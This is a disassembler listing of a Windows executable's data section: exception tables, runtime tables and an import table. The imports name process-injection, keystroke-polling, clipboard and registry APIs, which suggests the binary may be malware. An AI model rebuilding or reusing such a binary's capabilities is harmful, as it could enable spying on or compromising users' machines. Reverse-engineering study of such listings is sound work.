.text:loc_427C9Fo dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 4 dup(0) dd offset sub_401895 dd 2 dup(0) dd 2 dup(1), 431B3Ch dword_431B60 dd 19930520h, 2, 431B2Ch, 1, 431B4Ch, 2 dup(0) ; DATA XREF: .text:loc_427CA9o dd 0FFFFFFFFh, 427CB3h, 0 dd offset loc_427CBB dword_431B8C dd 19930520h, 2, 431B7Ch, 4 dup(0) ; DATA XREF: .text:loc_427CC6o dd 0FFFFFFFFh, 427CD0h, 0 dd offset loc_427CDB dd 0 dd offset loc_427CE8 dd 0 dd offset loc_427CF5 dword_431BC8 dd 19930520h, 4, 431BA8h, 4 dup(0) ; DATA XREF: .text:loc_427CFDo dd 0FFFFFFFFh, 427D07h, 0 dd offset loc_427D0F dd 1, 427D1Ah dword_431BFC dd 19930520h, 3, 431BE4h, 4 dup(0) ; DATA XREF: .text:loc_427D24o dd 0FFFFFFFFh, 427D2Eh, 0 dd offset loc_427D36 dd 1, 427D41h dword_431C30 dd 19930520h, 3, 431C18h, 4 dup(0) ; DATA XREF: .text:loc_427D4Co dd 0FFFFFFFFh, 427D56h, 0 dd offset loc_427D5E dd 1, 427D66h dword_431C64 dd 19930520h, 3, 431C4Ch, 4 dup(0) ; DATA XREF: .text:loc_427D6Eo dd 0FFFFFFFFh, 427B90h dword_431C88 dd 19930520h, 1, 431C80h, 4 dup(0) ; DATA XREF: .text:loc_427B98o dd 0FFFFFFFFh, 427D78h, 0 dd offset loc_427D80 dword_431CB4 dd 19930520h, 2, 431CA4h, 4 dup(0) ; DATA XREF: .text:loc_427D85o dd 0FFFFFFFFh, 427D8Fh dword_431CD8 dd 19930520h, 1, 431CD0h, 4 dup(0) ; DATA XREF: .text:loc_427D97o dd 0FFFFFFFFh, 427DA1h dword_431CFC dd 19930520h, 1, 431CF4h, 4 dup(0) ; DATA XREF: .text:loc_427DA9o dd 0FFFFFFFFh, 427DB3h, 0 dd offset loc_427DC0 dd 1, 427DCEh, 2, 427DDCh, 3, 427DEAh, 4, 427DF8h, 4, 427E02h dd 4, 427E0Ch, 4, 427E16h, 4, 427E20h, 4, 427E2Ah, 4, 427E34h dd 4, 427E3Eh, 4, 427E48h, 4, 427E52h, 4, 427E5Ch, 4, 427E66h dd 4, 427E70h, 4, 427E7Ah, 4, 427E84h, 4, 427E8Eh, 4, 427E98h dword_431DC8 dd 19930520h, 16h, 431D18h, 4 dup(0) ; DATA XREF: .text:loc_427EA2o dd 0FFFFFFFFh, 427EACh, 0 dd offset loc_427EB4 dword_431DF4 dd 19930520h, 2, 431DE4h, 4 dup(0) ; DATA XREF: .text:loc_427EBEo dd 0FFFFFFFFh, 427EDCh dword_431E18 dd 19930520h, 1, 431E10h, 4 dup(0) ; DATA XREF: .text:loc_427EE6o dd 0FFFFFFFFh, 427EF0h dword_431E3C dd 19930520h, 1, 431E34h, 4 dup(0) ; DATA XREF: .text:loc_427EF8o dd 0FFFFFFFFh, 427F02h, 0 dd offset loc_427F0A dword_431E68 dd 19930520h, 2, 431E58h, 4 dup(0) ; DATA XREF: .text:loc_427F12o dd 0FFFFFFFFh, 427F1Ch dword_431E8C dd 19930520h, 1, 431E84h, 4 dup(0) ; DATA XREF: .text:loc_427F24o dd 0FFFFFFFFh, 427F2Eh, 0 dd offset loc_427F36 dword_431EB8 dd 19930520h, 2, 431EA8h, 4 dup(0) ; DATA XREF: .text:loc_427F40o dd 0FFFFFFFFh, 427F4Ah dword_431EDC dd 19930520h, 1, 431ED4h, 4 dup(0) ; DATA XREF: .text:loc_427F52o dd 0FFFFFFFFh, 427F5Ch dword_431F00 dd 19930520h, 1, 431EF8h, 4 dup(0) ; DATA XREF: .text:loc_427F66o dd 321B0h, 2 dup(0) dword_431F28 dd 322E8h, 291E0h, 32240h, 2 dup(0) ; DATA XREF: start+205o dd 3236Eh, 29270h, 322BCh, 2 dup(0) dd 3238Ch, 292ECh, 31FF8h, 2 dup(0) dd 32802h, 29028h, 321B8h, 2 dup(0) dd 32A6Ah, 291E8h, 31FD0h, 2 dup(0) dd 32B0Eh, 29000h, 322C4h, 2 dup(0) dd 32B52h, 292F4h, 32194h, 2 dup(0) dd 32B5Ch, 291C4h, 5 dup(0) dd 32A76h, 32A98h, 32AACh, 32ABCh, 32ACEh, 32ADEh, 32AF0h dd 32B00h, 32A86h, 0 dd 32D9Ch, 32D90h, 32D84h, 32D72h, 32D60h, 32D46h, 32D36h dd 32D24h, 32D0Ah, 32CF0h, 32CD8h, 32CBEh, 32CAEh, 32CA0h dd 32C84h, 32C74h, 32C64h, 32C56h, 32C48h, 32C3Eh, 32C2Eh dd 3239Ah, 323ACh, 323C8h, 323D0h, 323DAh, 323ECh, 32402h dd 32414h, 3242Ch, 3243Ch, 32448h, 3245Ch, 3246Ch, 32480h dd 3248Eh, 3249Ch, 324B2h, 324C6h, 324D8h, 324E8h, 324F6h dd 32504h, 32514h, 3252Ah, 3253Ah, 32548h, 3255Ah, 3256Ah dd 32578h, 3258Ah, 32598h, 32DACh, 325B4h, 325C6h, 325D6h dd 325E2h, 325EEh, 325FAh, 32610h, 3261Eh, 32632h, 32642h dd 3265Ch, 32672h, 32688h, 326A0h, 326B8h, 326C8h, 326D8h dd 326E6h, 326FAh, 3270Ch, 32722h, 32738h, 32748h, 32766h dd 32778h, 32786h, 3279Ah, 327A6h, 327B6h, 327D2h, 327E0h dd 327F6h, 32C22h, 32C16h, 32C06h, 32BF6h, 32BE8h, 32BDAh dd 32BCEh, 32BBCh, 32BAAh, 32B9Ah, 32B84h, 32B76h, 32B6Ah dd 32DC0h, 32DD0h, 32DE0h, 325A6h, 0 dd 80000004h, 80000008h, 80000009h, 80000007h, 80000006h dd 80000002h, 0 dd 322D4h, 0 dd 3297Ah, 3296Ch, 32958h, 32942h, 32930h, 32994h, 32906h dd 328F2h, 329AAh, 32810h, 3281Eh, 3282Ah, 32A54h, 32A40h dd 32A2Eh, 32A1Ch, 32A0Ah, 329FCh, 329ECh, 329D8h, 329C8h dd 3291Ah, 328E0h, 328C4h, 328B0h, 3289Eh, 3288Eh, 3287Ah dd 3286Ah, 3285Ah, 3284Ah, 32838h, 329BAh, 0 dd 8000000Bh, 8000000Ch, 80000039h, 8000000Fh, 3235Eh dd 80000005h, 8000000Ah, 80000004h, 8000006Fh, 32346h dd 32334h, 80000006h, 80000016h, 80000014h, 80000017h dd 80000003h, 32324h, 80000034h, 8000000Dh, 80000001h dd 80000073h, 80000002h, 32312h, 322F6h, 80000008h, 80000012h dd 80000010h, 80000097h, 80000013h, 80000009h, 0 dd 3237Ah, 0 dd 32B42h, 32B1Ch, 32B30h, 0 dd 48530000h, 46746547h, 65646C6Fh, 74615072h, 4168h, 4F464853h dd 5245444Ch, 6C6C642Eh, 470000h aWsawaitformult db 'WSAWaitForMultipleEvents',0 align 2 dw 14h aWsacreateevent db 'WSACreateEvent',0 align 4 a8 db '8',0 aWsaresetevent db 'WSAResetEvent',0 dd 5357001Ch, 65764541h, 6553746Eh, 7463656Ch, 190000h aWsaenumnetwork db 'WSAEnumNetworkEvents',0 align 2 dw 12h aWsacloseevent db 'WSACloseEvent',0 aWs2_32_dll db 'WS2_32.dll',0 align 2 db '/',0 aGetipaddrtable db 'GetIpAddrTable',0 align 4 aIphlpapi_dll db 'iphlpapi.dll',0 align 2 dw 174h aGetlocaleinfoa db 'GetLocaleInfoA',0 align 4 db 23h ; # db 2, 49h, 6Eh aItializecritic db 'itializeCriticalSection',0 db 56h ; V db 3, 53h, 6Ch db 65h ; e db 65h, 70h, 0 db 0FDh ; ý align 2 aGetacp db 'GetACP',0 align 2 dw 2A7h aRaiseexception db 'RaiseException',0 align 4 db 29h ; ) db 2, 49h, 6Eh aTerlockedexcha db 'terlockedExchange',0 dw 1DAh aGetthreadlocal db 'GetThreadLocale',0 aB_0 db '',0 aDeletecritical db 'DeleteCriticalSection',0 db 0E9h ; é db 1, 47h, 65h aTversionexa db 'tVersionExA',0 db 10h db 2, 48h, 65h aApalloc db 'apAlloc',0 db 42h ; B db 1, 47h, 65h aTcurrentproces db 'tCurrentProcess',0 db 0DFh ; ß db 1, 47h, 65h aTtickcount db 'tTickCount',0 align 4 db 0B8h ; ¸ db 2, 52h, 65h aAdprocessmemor db 'adProcessMemory',0 db 14h db 2, 48h, 65h aApdestroy db 'apDestroy',0 dw 212h aHeapcreate db 'HeapCreate',0 align 4 db 7Dh ; } db 1, 47h, 65h aTmodulefilenam db 'tModuleFileNameA',0 align 2 dw 17Fh aGetmodulehandl db 'GetModuleHandleA',0 align 2 dw 386h aVirtualprote_0 db 'VirtualProtect',0 align 4 db 0C8h ; È db 1, 47h, 65h aTsystemtime db 'tSystemTime',0 db 3 db 2, 47h, 6Ch aOballock db 'obalLock',0 align 2 dw 1F8h aGlobalalloc db 'GlobalAlloc',0 db 0Ah db 2, 47h, 6Ch aObalunlock db 'obalUnlock',0 align 4 db 0C1h ; Á db 1, 47h, 65h aTsystemdirecto db 'tSystemDirectoryA',0 dw 171h aGetlasterror db 'GetLastError',0 align 2 aG db 'ƒ',0 aDeletefilea db 'DeleteFileA',0 dd 654701A0h, 6F725074h, 64644163h, 73736572h, 2520000h dd 64616F4Ch, 7262694Ch, 41797261h, 0B90000h, 74697845h dd 636F7250h, 737365h, 72430066h, 65746165h, 636F7250h dd 41737365h, 340000h, 736F6C43h, 6E614865h, 656C64h, 72430053h dd 65746165h, 656C6946h, 1630041h, 46746547h, 53656C69h dd 657A69h, 6553031Bh, 6C694674h, 696F5065h, 7265746Eh dd 3100000h, 45746553h, 664F646Eh, 656C6946h, 3A40000h dd 74697257h, 6C694665h, 2B50065h, 64616552h, 656C6946h dd 3160000h, 45746553h, 746E6576h, 15E0000h aGetfileattribu db 'GetFileAttributesA',0 align 10h dd 655202CFh, 45746573h, 746E6576h, 1D30000h, 54746547h dd 46706D65h, 4E656C69h, 41656D61h, 1D50000h, 54746547h dd 50706D65h, 41687461h, 1CA0000h aGetsystemtimea db 'GetSystemTimeAsFileTime',0 db 75h ; u db 2, 4Dh, 75h aLtibytetowidec db 'ltiByteToWideChar',0 db 90h db 3 aWaitforsingleo db 'WaitForSingleObject',0 db 51h ; Q db 2, 4Ch, 65h aAvecriticalsec db 'aveCriticalSection',0 align 10h aS_2 db '˜',0 aEntercriticals db 'EnterCriticalSection',0 align 4 db '`',0 aCreatemutexa db 'CreateMutexA',0 align 4 retn 5202h ; --------------------------------------------------------------------------- aEleasemutex db 'eleaseMutex',0 align 4 db 86h ; † db 2, 4Fh, 70h aEnprocess db 'enProcess',0 dw 387h aVirtualprote_1 db 'VirtualProtectEx',0 align 2 dw 382h aVirtualallocex db 'VirtualAllocEx',0 align 4 db 43h ; C db 1, 47h, 65h aTcurrentproc_0 db 'tCurrentProcessId',0 dw 3ADh aWriteprocessme db 'WriteProcessMemory',0 align 4 aO db 'O',0 aCreateeventa db 'CreateEventA',0 align 4 db 4Ah ; J db 3, 53h, 65h aTunhandledexce db 'tUnhandledExceptionFilter',0 dw 296h aProcess32first db 'Process32First',0 align 4 dd 6553031Fh, 6C694674h, 6D695465h, 35E0065h, 6D726554h dd 74616E69h, 6F725065h, 73736563h, 430000h, 79706F43h dd 656C6946h, 2980041h, 636F7250h, 33737365h, 78654E32h dd 720074h aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 align 2 dw 165h aGetfiletime db 'GetFileTime',0 db 94h ; ” db 3, 57h, 69h aDechartomultib db 'deCharToMultiByte',0 dw 25Ch aLocalfree db 'LocalFree',0 aKernel32_dll_1 db 'KERNEL32.dll',0 align 10h aU db 'ã',0 aFindwindowa db 'FindWindowA',0 dw 1ADh aIswindow db 'IsWindow',0 align 2 dw 292h aShowwindow db 'ShowWindow',0 align 4 db 77h ; w db 1, 47h, 65h aTwindowtexta db 'tWindowTextA',0 align 2 dw 23Bh aSendmessagea db 'SendMessageA',0 align 2 aF db 'ä',0 aFindwindowexa db 'FindWindowExA',0 aS_3 db '™',0 aDestroywindow db 'DestroyWindow',0 dw 24Ah aSetclipboardda db 'SetClipboardData',0 align 2 dw 1F6h aOpenclipboard db 'OpenClipboard',0 db 'Á',0 aEmptyclipboard db 'EmptyClipboard',0 align 10h db 1 db 1, 47h, 65h aTclipboarddata db 'tClipboardData',0 align 4 db 1Ah db 2, 52h, 65h aGisterclipboar db 'gisterClipboardFormatA',0 align 10h aB_1 db 'B',0 aCloseclipboard db 'CloseClipboard',0 align 2 aB_2 db '¡',0 aDispatchmessag db 'DispatchMessageA',0 align 2 retf ; --------------------------------------------------------------------------- align 4 aEnumchildwindo db 'EnumChildWindows',0 align 2 dw 23Eh aSendmessagetim db 'SendMessageTimeoutA',0 dd 6547017Ah, 6E695774h, 54776F64h, 57747865h, 1170000h aGetforegroundw db 'GetForegroundWindow',0 dd 725402AAh, 6C736E61h, 4D657461h, 61737365h, 6567h, 6E4500DEh dd 69576D75h, 776F646Eh, 2270073h aRegisterwindow db 'RegisterWindowMessageA',0 align 4 db 5 db 2, 50h, 6Fh aStthreadmessag db 'stThreadMessageA',0 align 2 dw 0FCh aGetclassnamea db 'GetClassNameA',0 dw 13Ah aGetmessagea db 'GetMessageA',0 db 0Bh db 1, 47h, 65h aTcursorpos db 'tCursorPos',0 align 4 db 0F2h ; ò align 2 aGetasynckeysta db 'GetAsyncKeyState',0 align 4 db 0 db 2, 50h, 65h aEkmessagea db 'ekMessageA',0 align 4 db 0DFh ; ß db 1, 4Dh, 65h aSsageboxa db 'ssageBoxA',0 aO_0 db 'Ž',0 aDefwindowproca db 'DefWindowProcA',0 align 4 db '`',0 aCreatewindowex db 'CreateWindowExA',0 dw 204h aPostquitmessag db 'PostQuitMessage',0 db 17h db 2, 52h, 65h aGisterclassexa db 'gisterClassExA',0 align 4 db 73h ; s db 1, 47h, 65h aTwindowplaceme db 'tWindowPlacement',0 align 2 aUser32_dll_0 db 'USER32.dll',0 align 2 dw 1D4h aRegdeletekeya db 'RegDeleteKeyA',0 dw 204h aRegsetvalueexa db 'RegSetValueExA',0 align 4 db 0F7h ; ÷ db 1, 52h, 65h aGqueryvalueexa db 'gQueryValueExA',0 align 4 db 0DEh ; Þ db 1, 52h, 65h aGenumkeyexa db 'gEnumKeyExA',0 db 0D1h ; Ñ db 1, 52h, 65h aGcreatekeyexa db 'gCreateKeyExA',0 dw 1ECh aRegopenkeyexa db 'RegOpenKeyExA',0 dw 1D8h aRegdeletevalue db 'RegDeleteValueA',0 db 0E1h ; á db 1, 52h, 65h aGenumvaluea db 'gEnumValueA',0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 1, 52h, 65h aGclosekey db 'gCloseKey',0 aAdvapi32_dll db 'ADVAPI32.dll',0 align 4 db 10h align 2 aCocreateinstan db 'CoCreateInstance',0 align 10h aI_1 db 'i',0 aCouninitialize db 'CoUninitialize',0 align 2 db ';',0 aCoinitialize db 'CoInitialize',0 align 2 aOle32_dll db 'ole32.dll',0 aOleaut32_dll db 'OLEAUT32.dll',0 align 2 dw 216h aHeapfree db 'HeapFree',0 align 2 db 'º',0 aExitthread db 'ExitThread',0 align 4 db 46h ; F db 1, 47h, 65h aTcurrentthread db 'tCurrentThreadId',0 align 2 aO_1 db 'o',0 aCreatethread db 'CreateThread',0 align 2 dw 1B7h aGetstartupinfo db 'GetStartupInfoA',0 db 10h db 1, 47h, 65h aTcommandlinea db 'tCommandLineA',0 dw 2D7h aRtlunwind db 'RtlUnwind',0 dw 21Ah aHeaprealloc db 'HeapReAlloc',0 db 83h ; ƒ db 3, 56h, 69h aRtualfree db 'rtualFree',0 dw 381h aVirtualalloc db 'VirtualAlloc',0 align 2 dw 236h aIsbadwriteptr db 'IsBadWritePtr',0 dw 21Ch aHeapsize db 'HeapSize',0 align 2 dw 363h aTlsalloc db 'TlsAlloc',0 align 2 dw 328h aSetlasterror db 'SetLastError',0 align 2 dw 364h aTlsfree db 'TlsFree',0 db 66h ; f db 3, 54h, 6Ch aSsetvalue db 'sSetValue',0 dw 365h aTlsgetvalue db 'TlsGetValue',0 db 44h ; D db 2, 4Ch, 43h aMapstringa db 'MapStringA',0 align 4 db 45h ; E db 2, 4Ch, 43h aMapstringw db 'MapStringW',0 align 4 db 6Eh ; n db 3, 55h, 6Eh aHandledexcepti db 'handledExceptionFilter',0 align 10h dd 65470166h, 6C694674h, 70795465h, 1B90065h, 53746547h dd 61486474h, 656C646Eh, 0F60000h aFreeenvironmen db 'FreeEnvironmentStringsA',0 db 55h ; U db 1, 47h, 65h aTenvironmentst db 'tEnvironmentStrings',0 db 0F7h ; ÷ align 2 aFreeenvironm_0 db 'FreeEnvironmentStringsW',0 dw 157h aGetenvironment db 'GetEnvironmentStringsW',0 align 4 dd 65530324h, 6E614874h, 43656C64h, 746E756Fh, 3880000h dd 74726956h, 516C6175h, 79726575h, 2A30000h aQueryperforman db 'QueryPerformanceCounter',0 dd 654701BAh, 72745374h, 54676E69h, 41657079h, 1BD0000h dd 53746547h, 6E697274h, 70795467h, 5765h, 65470104h, 49504374h dd 6F666Eh, 65470193h, 4D454F74h, 5043h, 65530337h, 64745374h dd 646E6148h, 656Ch, 6C4600EEh, 46687375h, 42656C69h, 65666675h dd 7372h, 654701C5h, 73795374h, 496D6574h, 6F666Eh, 73490233h dd 52646142h, 50646165h, 7274h, 73490230h, 43646142h, 5065646Fh dd 7274h, 0F09B5947h, 2F487600h, 0CE6A434Ah, 81h dup(0) dword_433000 dd 0 ; DATA XREF: sub_41F531+45o start+1A2o dd offset sub_423DB4 dd offset sub_4280CC dd offset sub_4280C0 dd offset sub_427F70 dd offset sub_427FA5 dd offset sub_427FBD dd offset sub_427FD3 ; --------------------------------------------------------------------------- jmp short loc_4330A1 ; --------------------------------------------------------------------------- dw 42h dd offset loc_428003 dd offset loc_42801B dd offset loc_428027 dd offset loc_42803D dd offset loc_428055 dd offset loc_42808A dd offset loc_4280A2 dword_433040 dd 0 ; DATA XREF: sub_41F531+4Co dword_433044 dd 0 ; DATA XREF: sub_41F531+12o ; --------------------------------------------------------------------------- lds eax, cs:[ecx+0] dec edi or [edx+0], eax retn ; --------------------------------------------------------------------------- db 0Bh, 42h, 0 dd offset sub_424D03 dd offset sub_42391A dword_43305C dd 0 ; DATA XREF: sub_41F531+17o dword_433060 dd 0 ; DATA XREF: sub_41F59B+73o dd offset loc_420C6C dd offset sub_421AB7 dword_43306C dd 0 ; DATA XREF: sub_41F59B:loc_41F609o dword_433070 dd 0 ; CODE XREF: sub_41F4D7+23p ; DATA XREF: sub_41F59B+83o dd offset sub_42392D dword_433078 dd 2 dup(0) ; DATA XREF: sub_41F59B:loc_41F619o dword_433080 dd 2 dup(0) ; DATA XREF: sub_4280CC:loc_428170o dd 80020004h, 0 off_433090 dd offset loc_41B8D0 ; DATA XREF: sub_41B8C0+7r off_433094 dd offset off_429530 ; DATA XREF: .text:00430DBCo ; .text:004310C4o dd 0 dd 56413F2Eh ; --------------------------------------------------------------------------- pop edi loc_4330A1: ; CODE XREF: .text:00433020j arpl [edi+6Dh], bp pop edi db 65h jb short loc_43311A outsd jb short near ptr a_?avbad_alloc@+13h inc eax ; --------------------------------------------------------------------------- dd 0 off_4330B0 dd offset off_429530 ; DATA XREF: .text:off_430E70o ; .text:00430EB4o ... align 8 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 10h off_4330D0 dd offset off_429530 ; DATA XREF: .text:off_430EBCo ; .text:00430EFCo ... align 8 a_?avbad_alloc@ db '.?AVbad_alloc@std@@',0 align 10h off_4330F0 dd offset off_429530 ; DATA XREF: .text:off_430F30o ; .text:00430F6Co align 8 a_?avtype_info@ db '.?AVtype_info@@',0 align 10h off_433110 dd offset sub_41F66F ; DATA XREF: sub_41DC6D+1Cr dword_433114 dd 2 ; DATA XREF: sub_4224BB+58r ; sub_422632+Er ... byte_433118 db 20h, 5 ; DATA XREF: sub_41DF59+2o ; sub_41DF62+2o ; --------------------------------------------------------------------------- loc_43311A: ; CODE XREF: .text:004330A5j xchg eax, ebx sbb [eax], eax ; --------------------------------------------------------------------------- db 3 dup(0) dd 4 dup(0) dd offset sub_4238CC dd 9875h, 9873h off_43313C dd offset sub_41E530 ; DATA XREF: sub_41F531r off_433140 dd offset nullsub_3 ; DATA XREF: sub_41D732:loc_41D7BDr off_433144 dd offset nullsub_3 ; DATA XREF: sub_41D732r dword_433148 dd 469B3D24h ; DATA XREF: sub_41BBA7+Br ; sub_41CE46+6r ... dd 10h off_433150 dd offset dword_435508 ; DATA XREF: sub_41E830:loc_41E86Dw ; sub_41E879+8o ... dword_433154 dd 1 ; DATA XREF: sub_41E830:loc_41E839r dd offset dword_435520 dd 1, 2 dup(0) dd offset byte_435538 dd 1, 435550h, 1, 2 dup(0) dd offset dword_435568 dd 1, 435580h, 1, 435598h, 1, 2 dup(0) dd offset dword_4355B0 dd 1, 2 dup(0) dd offset dword_4355C8 dd 1, 4355E0h, 1, 4355F8h, 1, 2 dup(0) dd offset dword_435610 dd 1, 435628h, 1, 435640h, 1, 22h dup(0) off_433270 dd offset aNull_2 ; DATA XREF: sub_41E879+2Ao ; sub_41E879+4Ao ... ; "(null)" off_433274 dd offset aNull_0 ; DATA XREF: sub_41F8BB+2D8r ; "(null)" dword_433278 dd 1 ; DATA XREF: sub_4200C7:loc_4200D6r dword_43327C dd 16h ; DATA XREF: sub_4200C7+3Br dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch off_4333E0 dd offset asc_429868 ; DATA XREF: sub_41CA85:loc_41CB57r ; sub_41F8BB:loc_41FAD7r ... ; " ((((( H" dd offset dword_429A68+2 dd 43h, 0 dword_4333F0 dd 2, 8 dup(0) ; DATA XREF: sub_420281+ADo ; sub_420427+103o ... dd 2 dup(1), 3 dup(0) dd offset off_433A54 dd 3 dup(0) dd offset asc_429868 ; " ((((( H" dd offset off_433998 dd 0 off_433444 dd offset dword_4333F0 ; DATA XREF: sub_41CA85+Fr ; sub_41D514+Ar ... dd 0 dd 1, 8 dup(0) dd 43h, 21h dup(0) dd 43h, 20h dup(0) dword_43357C dd 10h ; DATA XREF: sub_41D732+3Dr ; sub_41D732+53r ... off_433580 dd offset sub_424D21 ; DATA XREF: sub_42068C+11Ar ; sub_42068C+1D5r ... dword_433584 dd 1B3Fh ; DATA XREF: .text:00420A2Ar dword_433588 dd 173Fh ; DATA XREF: .text:00420AFDr align 10h off_433590 dd offset dword_438580 ; DATA XREF: .text:00420C15o ; sub_420C80+4o ... align 8 dd offset dword_438580 dd 101h dword_4335A0 dd 0FFFFFFFFh, 0 ; DATA XREF: .text:00420C34o dd 1000h, 0 dword_4335B0 dd 3 dup(0) ; DATA XREF: sub_41F714+53o ; sub_420FAE+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_4335D0 dd 3 dup(0) ; DATA XREF: sub_41F714+5Bo ; sub_420FAE:loc_420FCCo dd 2, 0FFFFFFFFh, 7 dup(0) dword_433600 dd 7Ch dup(0) ; DATA XREF: .text:00420C60o dword_4337F0 dd 8 dup(0) ; DATA XREF: sub_420C80+Do ; sub_420CD2+Do dword_433810 dd 0C0000005h, 0Bh, 0 ; DATA XREF: sub_4203A3+4o ; sub_4203B6+41o ... dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_433888 dd 3 ; DATA XREF: sub_4217A5+84r ; sub_4217A5+A3r ... dword_43388C dd 7 ; DATA XREF: sub_4217A5+8Ar ; sub_4217A5+A9r ... dd 78h dword_433894 dd 0Ah ; DATA XREF: sub_4217A5+14r ; sub_427263r dd 2 dup(1) dword_4338A0 dd 2 ; DATA XREF: sub_4224BB:loc_4224E1r ; sub_4224BB+3Ar off_4338A4 dd offset aR6002FloatingP ; DATA XREF: sub_4224BB+D5r ; sub_4224BB+112r ... ; "R6002\r\n- floating point not loaded\r\n" dd 8, 42A344h, 9, 42A318h, 0Ah, 42A280h, 10h, 42A254h dd 11h, 42A224h, 12h, 42A200h, 13h, 42A1D4h, 18h, 42A19Ch dd 19h, 42A174h, 1Ah, 42A13Ch, 1Bh, 42A104h, 1Ch, 42A0DCh dd 1Dh, 42A038h, 78h, 42A024h, 79h, 42A014h, 7Ah, 42A004h dd 0FCh, 42FF68h, 0FFh, 429FF4h dword_433938 dd 0FFFFFFFFh, 0A80h, 7 dup(0) ; DATA XREF: sub_41F714:loc_41F7D4o ; sub_421EDB:loc_421F61o dd offset sub_4238CC off_433960 dd offset sub_423818 ; DATA XREF: sub_42384D+Cr align 10h off_433970 dd offset sub_423CE8 ; DATA XREF: sub_41E4F8+5w ; sub_41F8BB+476r off_433974 dd offset sub_423976 ; DATA XREF: sub_41E4F8+Aw ; sub_41F8BB+4A2r off_433978 dd offset sub_4239DB ; DATA XREF: sub_41E4F8+14w off_43397C dd offset sub_42393A ; DATA XREF: sub_41E4F8+1Ew ; sub_41F8BB+491r off_433980 dd offset sub_4239C1 ; DATA XREF: sub_41E4F8+28w off_433984 dd offset sub_423CE8 ; DATA XREF: sub_41E4F8+32w align 10h dd offset off_433998 align 8 off_433998 dd offset aSun ; DATA XREF: .text:0043343Co ; .text:00433990o ; "Sun" dd offset aMon ; "Mon" dd offset aTue ; "Tue" dd offset aWed ; "Wed" dd offset aThu ; "Thu" dd offset aFri ; "Fri" dd offset aSat ; "Sat" dd offset aSunday ; "Sunday" dd offset aMonday ; "Monday" dd offset aTuesday ; "Tuesday" dd offset aWednesday ; "Wednesday" dd offset aThursday ; "Thursday" dd offset aFriday ; "Friday" dd offset aSaturday ; "Saturday" dd offset aJan ; "Jan" dd offset aFeb ; "Feb" dd offset aMar ; "Mar" dd offset aApr ; "Apr" dd offset aMay ; "May" dd offset aJun ; "Jun" dd offset aJul ; "Jul" dd offset aAug ; "Aug" dd offset aSep ; "Sep" dd offset aOct ; "Oct" dd offset aNov ; "Nov" dd offset aDec ; "Dec" dd offset aJanuary ; "January" dd offset aFebruary ; "February" dd offset aMarch ; "March" dd offset aApril ; "April" dd offset aMay ; "May" dd offset aJune ; "June" dd offset aJuly ; "July" dd offset aAugust ; "August" dd offset aSeptember ; "September" dd offset aOctober ; "October" dd offset aNovember ; "November" dd offset aDecember ; "December" dd offset aAm ; "AM" dd offset aPm ; "PM" dd offset aMmDdYy ; "MM/dd/yy" dd offset aDdddMmmmDdYyyy ; "dddd, MMMM dd, yyyy" dd offset dword_42A6E4 dd 409h, 2 dup(1) dword_433A50 dd 2Eh ; DATA XREF: .text:off_433A54o off_433A54 dd offset dword_433A50 ; DATA XREF: sub_4245FF+15r ; .text:00433428o ... off_433A58 dd offset dword_43584C ; DATA XREF: sub_4245FF+32r off_433A5C dd offset dword_43584C ; DATA XREF: sub_4245FF+4Er off_433A60 dd offset dword_43584C ; DATA XREF: sub_42465E+1Br off_433A64 dd offset dword_43584C ; DATA XREF: sub_42465E+38r off_433A68 dd offset dword_43584C ; DATA XREF: sub_42465E+55r off_433A6C dd offset dword_43584C ; DATA XREF: sub_42465E+72r off_433A70 dd offset dword_43584C ; DATA XREF: sub_42465E+8Fr off_433A74 dd offset dword_43584C ; DATA XREF: sub_42465E+ACr off_433A78 dd offset dword_43584C ; DATA XREF: sub_42465E+C8r dd 2 dup(7F7F7F7Fh) off_433A84 dd offset off_433A54 ; DATA XREF: sub_4245FF+Br ; sub_4245FF+27r ... align 10h dd 1, 3 dup(0) dd 1 byte_433AA4 db 2Eh ; DATA XREF: sub_42393A+24r ; sub_423976+5r ... align 4 dd 1, 0 byte_433AB0 db 1 ; DATA XREF: sub_424A23+C5r db 2, 4, 8 align 8 dword_433AB8 dd 3A4h ; DATA XREF: sub_424A23:loc_424A45r dword_433ABC dd 82798260h ; DATA XREF: sub_424A23+101r dd 21h, 0 dword_433AC8 dd 0DFA6h ; DATA XREF: sub_424A23+A5r align 10h dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_433BA8 dd 2694h ; DATA XREF: sub_4252E0+3r ; sub_425333+5Dr align 10h dword_433BB0 dd 14h ; DATA XREF: sub_425242:loc_42524Ar off_433BB4 dd offset aExp ; DATA XREF: sub_425242:loc_4252BAr ; "exp" dd 1Dh, 429EF8h, 1Ah, 429EFCh, 1Bh, 429F00h, 1Fh, 